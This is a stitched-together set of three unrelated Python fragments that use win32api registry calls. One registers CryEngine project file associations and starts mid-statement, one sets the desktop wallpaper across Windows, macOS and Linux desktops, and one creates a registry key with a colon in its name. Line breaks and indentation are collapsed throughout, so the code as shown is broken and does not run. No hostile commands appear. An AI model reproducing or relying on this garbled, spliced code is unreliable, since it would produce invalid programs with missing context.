FriendlyTypeName) win32api.RegSetValueEx (hProgID, 'AppUserModelID', None, win32con.REG_SZ, AppUserModelID) win32api.RegSetValueEx (hProgID, 'FriendlyTypeName', None, win32con.REG_SZ, FriendlyTypeName) win32api.RegSetValue (hProgID, 'DefaultIcon', win32con.REG_SZ, DefaultIcon) #--- hShell= win32api.RegCreateKey (hProgID, 'shell') win32api.RegCloseKey (hProgID) for action, title, command in engine_commands: hAction= win32api.RegCreateKey (hShell, action) win32api.RegSetValueEx (hAction, None, None, win32con.REG_SZ, title) win32api.RegSetValueEx (hAction, 'Icon', None, win32con.REG_SZ, DefaultIcon) win32api.RegSetValue (hAction, 'command', win32con.REG_SZ, command) win32api.RegCloseKey (hAction) action= 'add' win32api.RegSetValueEx (hShell, None, None, win32con.REG_SZ, action) win32api.RegCloseKey (hShell) #--- hCryProj= win32api.RegCreateKey (hClassesRoot, cryregistry.ENGINE_EXTENSION) win32api.RegSetValueEx (hCryProj, None, None, win32con.REG_SZ, ProgID) win32api.RegCloseKey (hCryProj) #--- .cryproject FriendlyTypeName= 'CryEngine project' ProgID= 'CrySelect.project' AppUserModelID= 'CrySelect.project' DefaultIcon= os.path.abspath (os.path.join (os.path.dirname(ScriptPath), 'editor_icon16.ico')) hProgID= win32api.RegCreateKey (hClassesRoot, ProgID) win32api.RegSetValueEx (hProgID, None, None, win32con.REG_SZ, FriendlyTypeName) win32api.RegSetValueEx (hProgID, 'AppUserModelID', None, win32con.REG_SZ, AppUserModelID) win32api.RegSetValueEx (hProgID, 'FriendlyTypeName', None, win32con.REG_SZ, FriendlyTypeName) win32api.RegSetValue (hProgID, 'DefaultIcon', win32con.REG_SZ, DefaultIcon) #--- hShell= win32api.RegCreateKey (hProgID, 'shell') win32api.RegCloseKey (hProgID) for extended, action, title, command in project_commands: hAction= win32api.RegCreateKey (hShell, action) win32api.RegSetValueEx (hAction, None, None, win32con.REG_SZ, title) win32api.RegSetValueEx (hAction, 'Icon', None, win32con.REG_SZ, DefaultIcon) win32api.RegSetValue (hAction, 'command', win32con.REG_SZ, command) if extended: win32api.RegSetValueEx (hAction, 'extended', None, win32con.REG_SZ, '') win32api.RegCloseKey (hAction) action= 'edit' win32api.RegSetValueEx (hShell, None, None, win32con.REG_SZ, action) win32api.RegCloseKey (hShell) #--- hCryProj= win32api.RegCreateKey (hClassesRoot, '.cryproject') win32api.RegSetValueEx (hCryProj, None, None, win32con.REG_SZ, ProgID) win32api.RegCloseKey (hCryProj)
def set_background(file_path): de = get_desktop_environment() if de == "windows": key = win32api.RegOpenKeyEx(win32con.HKEY_CURRENT_USER, "Control Panel\\Desktop", 0, win32con.KEY_SET_VALUE) win32api.RegSetValueEx(key, "WallpaperStyle", 0, win32con.REG_SZ, "6") # 2 for stretching, 0 for centering, 6 for fitting win32api.RegSetValueEx(key, "TileWallpaper", 0, win32con.REG_SZ, "0") win32gui.SystemParametersInfo(win32con.SPI_SETDESKWALLPAPER, file_path, 1 + 2) elif de == "mac": subprocess.call([ "osascript", "-e", 'tell application "System Events"\n' 'set theDesktops to a reference to every desktop\n' 'repeat with aDesktop in theDesktops\n' 'set the picture of aDesktop to \"' + file_path + '"\nend repeat\nend tell' ]) else: # Linux # gsettings requires it. fetch_envvar("DBUS_SESSION_BUS_ADDRESS") # feh and nitrogen (might) require it. fetch_envvar("DISPLAY") if de in [ "gnome", "unity", "cinnamon", "pantheon", "gnome-classic", "budgie-desktop" ]: # Because of a bug and stupid design of gsettings, see http://askubuntu.com/a/418521/388226 if de == "unity": subprocess.call([ "gsettings", "set", "org.gnome.desktop.background", "draw-background", "false" ]) subprocess.call([ "gsettings", "set", "org.gnome.desktop.background", "picture-uri", "file://" + file_path ]) subprocess.call([ "gsettings", "set", "org.gnome.desktop.background", "picture-options", "scaled" ]) subprocess.call([ "gsettings", "set", "org.gnome.desktop.background", "primary-color", "#000000" ]) if de == "unity": assert os.system( 'bash -c "gsettings set org.gnome.desktop.background draw-background true"' ) == 0 elif de == "mate": subprocess.call([ "gsettings", "set", "org.mate.background", "picture-filename", file_path ]) elif de == 'i3': subprocess.call(['feh', '--bg-max', file_path]) elif de == "xfce4": # Xfce4 displays to change the background of displays = subprocess.getoutput( 'xfconf-query --channel xfce4-desktop --list | grep last-image' ).split() for display in displays: subprocess.call([ "xfconf-query", "--channel", "xfce4-desktop", "--property", display, "--set", file_path ]) elif de == "lxde": subprocess.call([ "pcmanfm", "--set-wallpaper", file_path, "--wallpaper-mode=fit", ]) elif de == "kde": if plasma_version() > LooseVersion("5.7"): ''' Command per https://github.com/boramalper/himawaripy/issues/57 Sets 'FillMode' to 1, which is "Scaled, Keep Proportions" Forces 'Color' to black, which sets the background colour. ''' script = 'var a = desktops();' \ 'for (i = 0; i < a.length; i++) {{' \ 'd = a[i];d.wallpaperPlugin = "org.kde.image";' \ 'd.currentConfigGroup = Array("Wallpaper", "org.kde.image", "General");' \ 'd.writeConfig("Image", "file://{}");' \ 'd.writeConfig("FillMode", 1);' \ 'd.writeConfig("Color", "#000");' \ '}}' try: subprocess.check_output([ "qdbus", "org.kde.plasmashell", "/PlasmaShell", "org.kde.PlasmaShell.evaluateScript", script.format(file_path) ]) except subprocess.CalledProcessError as e: if "Widgets are locked" in e.output.decode("utf-8"): print( "Cannot change the wallpaper while widgets are locked! (unlock the widgets)" ) else: raise e else: print("Couldn't detect plasmashell 5.7 or higher.") elif has_program("feh"): print( "Couldn't detect your desktop environment ('{}'), but you have " "'feh' installed so we will use it...".format(de)) subprocess.call(["feh", "--bg-max", file_path]) elif has_program("nitrogen"): print( "Couldn't detect your desktop environment ('{}'), but you have " "'nitrogen' installed so we will use it...".format(de)) subprocess.call(["nitrogen", "--restore"]) else: return False return True
def setup_key_with_colon (): hKey = win32api.RegOpenKeyEx (win32con.HKEY_CURRENT_USER, r"Software\winsys", 0, win32con.KEY_WRITE) hSubkey = win32api.RegCreateKey (hKey, "win:sys3") win32api.RegSetValueEx (hSubkey, "winsys3", None, win32con.REG_SZ, GUID)